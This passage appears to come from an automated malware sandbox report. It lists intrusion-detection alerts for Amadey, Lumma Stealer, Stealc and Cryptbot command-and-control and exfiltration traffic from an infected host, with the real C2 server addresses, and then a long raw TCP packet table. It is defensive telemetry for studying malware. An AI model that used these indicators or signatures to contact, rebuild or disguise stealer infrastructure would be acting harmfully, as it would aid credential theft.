2024-11-18T04:41:11.939344+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49710	185.215.113.206	80	TCP
2024-11-18T04:41:33.209964+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:34.809225+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:36.064318+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:37.010759+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:39.234005+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:39.855544+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:44.000764+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49986	185.215.113.16	80	TCP
2024-11-18T04:42:05.751422+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50106	185.215.113.43	80	TCP
2024-11-18T04:42:09.097271+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50109	31.41.244.11	80	TCP
2024-11-18T04:42:13.913427+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50107	TCP
2024-11-18T04:42:14.824155+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50110	185.215.113.43	80	TCP
2024-11-18T04:42:15.723847+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50111	185.215.113.16	80	TCP
2024-11-18T04:42:19.931653+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50113	188.114.96.3	443	TCP
2024-11-18T04:42:20.536068+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50114	185.215.113.43	80	TCP
2024-11-18T04:42:21.455283+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50115	185.215.113.16	80	TCP
2024-11-18T04:42:21.804081+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50113	188.114.96.3	443	TCP
2024-11-18T04:42:21.804081+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50113	188.114.96.3	443	TCP
2024-11-18T04:42:22.484443+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50116	188.114.96.3	443	TCP
2024-11-18T04:42:23.214343+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50116	188.114.96.3	443	TCP
2024-11-18T04:42:23.214343+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50116	188.114.96.3	443	TCP
2024-11-18T04:42:24.306148+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50117	188.114.96.3	443	TCP
2024-11-18T04:42:26.263371+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50118	185.215.113.43	80	TCP
2024-11-18T04:42:26.585942+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50119	188.114.96.3	443	TCP
2024-11-18T04:42:27.168927+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50121	185.215.113.16	80	TCP
2024-11-18T04:42:27.370689+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50120	185.215.113.206	80	TCP
2024-11-18T04:42:28.805095+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50123	188.114.96.3	443	TCP
2024-11-18T04:42:31.324662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64716	188.114.96.3	443	TCP
2024-11-18T04:42:31.424971+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	64715	185.215.113.43	80	TCP
2024-11-18T04:42:32.937581+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	64721	185.215.113.16	80	TCP
2024-11-18T04:42:35.688807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64727	188.114.96.3	443	TCP
2024-11-18T04:42:37.006045+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64728	188.114.96.3	443	TCP
2024-11-18T04:42:37.861928+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	64730	185.215.113.43	80	TCP
2024-11-18T04:42:38.054521+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	64728	188.114.96.3	443	TCP
2024-11-18T04:42:38.054521+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	64728	188.114.96.3	443	TCP
2024-11-18T04:42:39.336381+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64734	188.114.96.3	443	TCP
2024-11-18T04:42:39.724156+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	64734	188.114.96.3	443	TCP
2024-11-18T04:42:39.724156+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	64734	188.114.96.3	443	TCP
2024-11-18T04:42:40.994233+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64744	188.114.96.3	443	TCP
2024-11-18T04:42:42.444927+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64746	188.114.96.3	443	TCP
2024-11-18T04:42:42.606541+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	64745	185.215.113.206	80	TCP
2024-11-18T04:42:42.969436+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	64746	188.114.96.3	443	TCP
2024-11-18T04:42:43.159761+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64749	188.114.96.3	443	TCP
2024-11-18T04:42:43.899830+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	64752	185.215.113.16	80	TCP
2024-11-18T04:42:45.131307+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64755	188.114.96.3	443	TCP
2024-11-18T04:42:48.957448+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64757	188.114.96.3	443	TCP
2024-11-18T04:42:49.448604+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	64757	188.114.96.3	443	TCP
2024-11-18T04:42:51.763739+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64759	188.114.96.3	443	TCP
2024-11-18T04:42:55.387988+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64761	188.114.96.3	443	TCP
2024-11-18T04:42:55.947242+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	64761	188.114.96.3	443	TCP
2024-11-18T04:42:56.186230+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	64763	185.215.113.16	80	TCP
2024-11-18T04:43:05.643374+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	64784	185.215.113.206	80	TCP
2024-11-18T04:43:09.798812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64819	188.114.96.3	443	TCP
2024-11-18T04:43:10.190835+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	64819	188.114.96.3	443	TCP
2024-11-18T04:43:10.190835+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	64819	188.114.96.3	443	TCP
2024-11-18T04:43:11.077446+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64822	188.114.96.3	443	TCP
2024-11-18T04:43:11.648060+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	64822	188.114.96.3	443	TCP
2024-11-18T04:43:11.648060+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	64822	188.114.96.3	443	TCP
2024-11-18T04:43:14.645633+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	64827	62.76.234.151	80	TCP
2024-11-18T04:43:16.116603+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	64829	62.76.234.151	80	TCP
2024-11-18T04:43:19.119428+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	64831	185.215.113.206	80	TCP
2024-11-18T04:43:23.188972+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64834	188.114.96.3	443	TCP
2024-11-18T04:43:24.090696+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	64834	188.114.96.3	443	TCP
2024-11-18T04:43:24.717860+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64837	188.114.96.3	443	TCP
2024-11-18T04:43:26.509558+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64839	188.114.96.3	443	TCP
2024-11-18T04:43:27.917505+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64843	188.114.96.3	443	TCP
2024-11-18T04:43:29.802451+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64845	188.114.96.3	443	TCP
2024-11-18T04:43:31.537148+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64849	188.114.96.3	443	TCP
2024-11-18T04:43:32.277741+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	64849	188.114.96.3	443	TCP
2024-11-18T04:43:33.192006+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	64850	185.215.113.16	80	TCP
2024-11-18T04:44:28.817798+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	65459	52.168.117.173	443	TCP
2024-11-18T04:46:01.119242+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50610	20.189.173.24	443	TCP
2024-11-18T04:47:13.689386+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50651	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 04:41:01.627835035 CET	49673	443	192.168.2.6	173.222.162.64
Nov 18, 2024 04:41:01.627902031 CET	49674	443	192.168.2.6	173.222.162.64
Nov 18, 2024 04:41:01.955984116 CET	49672	443	192.168.2.6	173.222.162.64
Nov 18, 2024 04:41:05.010922909 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:05.011015892 CET	443	49709	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:05.011091948 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:05.011667013 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:05.011703014 CET	443	49709	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:06.134332895 CET	443	49709	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:06.134411097 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:06.157717943 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:06.157753944 CET	443	49709	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:06.158807993 CET	443	49709	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:06.205926895 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:06.292355061 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:06.292469978 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:06.292618990 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:06.292634964 CET	443	49709	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:06.708687067 CET	443	49709	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:06.710521936 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:06.710588932 CET	443	49709	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:06.710673094 CET	49709	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:08.386876106 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:08.392143965 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:08.392277956 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:08.395495892 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:08.400485039 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:09.301724911 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:09.301810980 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:09.353650093 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:09.358623981 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:09.646019936 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:09.646100044 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:09.649821997 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:09.654809952 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:09.929960012 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:09.929979086 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:09.929995060 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:09.930157900 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:09.931370020 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:09.931431055 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:09.936373949 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.211519957 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.211585999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.211601973 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.211616993 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.211637020 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.211791039 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.211791992 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.211936951 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.211951017 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.211988926 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.212127924 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.212146044 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.212176085 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.212197065 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.214093924 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.218935966 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.493762016 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.493885040 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.515371084 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.515430927 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:10.520406008 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.520437956 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.520478010 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.520503044 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.520522118 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.520541906 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:10.799206018 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:10.799263000 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:10.799340963 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:10.799762964 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:10.799778938 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.237262011 CET	49674	443	192.168.2.6	173.222.162.64
Nov 18, 2024 04:41:11.237267971 CET	49673	443	192.168.2.6	173.222.162.64
Nov 18, 2024 04:41:11.303308964 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.303456068 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.565291882 CET	49672	443	192.168.2.6	173.222.162.64
Nov 18, 2024 04:41:11.565875053 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.565941095 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.577708006 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.577729940 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.578063011 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.611912012 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.655344963 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.661530972 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.666474104 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.804908037 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.804970980 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.805018902 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.805039883 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.805052996 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.805078030 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.805090904 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.805102110 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.805128098 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.866539955 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.866609097 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.866683960 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.866698980 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.866734982 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.866754055 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.924475908 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.924505949 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.924616098 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.924639940 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.924684048 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.939245939 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.939265013 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.939294100 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.939310074 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.939332008 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.939343929 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.939347029 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.939368010 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.939398050 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.939429045 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.940107107 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.940121889 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.940136909 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.940150976 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.940154076 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.940167904 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.940181017 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.940195084 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.940694094 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.940737963 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.940777063 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:11.940817118 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:11.985404968 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.985434055 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.985496044 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.985519886 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.985539913 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.985555887 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.986797094 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.986826897 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.986865044 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.986872911 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.986912966 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.988548040 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.988583088 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.988606930 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.988617897 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:11.988641977 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:11.988663912 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.044285059 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.044315100 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.044354916 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.044387102 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.044399977 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.044424057 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.092784882 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.092808962 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.092824936 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.092932940 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.092951059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.092968941 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.092983007 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.092993021 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.093036890 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.093036890 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.093061924 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.093502045 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.093527079 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.093543053 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.093555927 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.093563080 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.093566895 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.093580008 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.093591928 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.093621016 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.093621016 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.094325066 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.094342947 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.094367981 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.094367981 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.094383955 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.094394922 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.094400883 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.094403028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.094434023 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.094912052 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.095189095 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.095210075 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.095238924 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.095242023 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.095252991 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.095259905 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.095277071 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.095282078 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.095304012 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.095323086 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.096036911 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.096084118 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.096111059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.096163034 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.104144096 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.104165077 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.104398012 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.104420900 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.104470015 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.105396986 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.105415106 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.105458975 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.105470896 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.105492115 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.105581999 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.106247902 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.106265068 CET	443	49711	13.107.246.45	192.168.2.6
